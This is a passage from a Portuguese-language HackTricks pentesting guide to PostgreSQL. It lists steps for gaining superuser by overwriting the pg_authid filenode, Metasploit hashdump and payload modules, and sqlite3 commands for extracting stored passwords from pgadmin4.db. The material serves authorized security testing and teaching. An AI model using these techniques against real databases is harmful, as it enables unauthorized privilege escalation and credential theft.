O seguinte vetor de privesc é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas através de instruções SELECT aninhadas.
{% endhint %}
Se você pode **ler e escrever arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** sobrescrevendo o filenode no disco do PostgreSQL, associado à tabela interna `pg_authid`.
Leia mais sobre **essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Os passos do ataque são:
1. Obter o diretório de dados do PostgreSQL
2. Obter um caminho relativo para o filenode, associado à tabela `pg_authid`
3. Baixar o filenode através das funções `lo_*`
4. Obter o tipo de dado, associado à tabela `pg_authid`
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); definir todas as flags booleanas `rol*` para 1 para permissões totais.
6. Reenviar o filenode editado via as funções `lo_*`, e sobrescrever o arquivo original no disco
7. _(Opcional)_ Limpar o cache da tabela em memória executando uma consulta SQL cara
8. Você agora deve ter os privilégios de um superadmin completo.
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### logging
Dentro do arquivo _**postgresql.conf**_ você pode habilitar os logs do postgresql alterando:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Então, **reinicie o serviço**.
### pgadmin
[pgadmin](https://www.pgadmin.org) é uma plataforma de administração e desenvolvimento para PostgreSQL.\
Você pode encontrar **senhas** dentro do arquivo _**pgadmin4.db**_\
Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
A autenticação do cliente no PostgreSQL é gerenciada através de um arquivo de configuração chamado **pg\_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome do usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponder ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome do usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
Os métodos de autenticação baseados em senha disponíveis no pg\_hba.conf são **md5**, **crypt** e **password**. Esses métodos diferem na forma como a senha é transmitida: hash MD5, criptografada ou em texto claro. É importante notar que o método crypt não pode ser usado com senhas que foram criptografadas em pg\_authid.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}